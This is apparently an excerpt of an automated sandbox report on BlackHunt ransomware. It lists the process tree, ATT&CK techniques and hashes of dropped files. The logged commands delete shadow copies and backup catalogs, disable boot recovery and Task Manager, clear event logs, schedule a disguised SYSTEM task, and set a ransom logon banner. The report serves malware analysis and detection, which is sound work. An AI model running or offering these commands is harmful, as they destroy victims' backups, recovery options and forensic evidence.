- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe" /F
  2⤵
  PID:1512
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2712
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2792
  - - C:\Windows\system32\wevtutil.exe
      wevtutil.exe cl Setup
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1072
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2064
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2104
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2260
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2036
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:772
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:540
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1320
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1636
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:224
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3364
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3460
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:4100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4148
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:536
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2924
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1660
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe"
  2⤵
  - Deletes itself
  PID:4208
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:4116
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:4212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3352
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2744
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1704
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2684
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3152
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1048
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:540
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1664
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:4512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2792

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4028

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3616

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1560

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2208

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:1800

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
1⤵
PID:1516

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:3468

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4324

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4332

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
b9bba1c306e40523d63d5c2308850fcf

SHA1
026133b6af818c0c37b787a03677b907dba3f433

SHA256
8365ff2fbf3fecd215a147e12b901409083c760277cb97be0656657e640a4e17

SHA512
ede5a151dfd80ee9b71d80ddb33e7d31c31483695f00c7f95ea3af042d1c058b4c090aed6d12ea1318aa8ba933e4252894b8848c171df7ee75c962eeb7c2116e

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
b41c76617fb7fde73d07bb8c50b8233a

SHA1
cda8276e0b4a2297f8eefd3076e14b4f08e3ccb1

SHA256
258b56b3e049094a3029e534aaefae6bc0a4d4221ea8e03b1cbae9714905cbb3

SHA512
2b0df59039a43d6aafe32febf25eec4a8bf3af428328965a42c37e24d6a36b168df1fe5e57bfd716589cc0d4f84bf5674f30974c67a6a972d2cfe8dadb9a92f2

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
9f881895bb7de1265a8bd72df7acfa44

SHA1
99dbeb405d7cb25c3a43e3a6639d3901c7f53b34

SHA256
45a3a2f139f34452269496175d807290ac18e60a21c8a7003b97ae55f578edc2

SHA512
918e878d9ce92161a9447bfb67a37ae2c100a642ef9bfb0f3c15baffa7382d29139c402e5ed8e2429956c023c0c724e53b343a2028308bc2644fba787cc16020

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads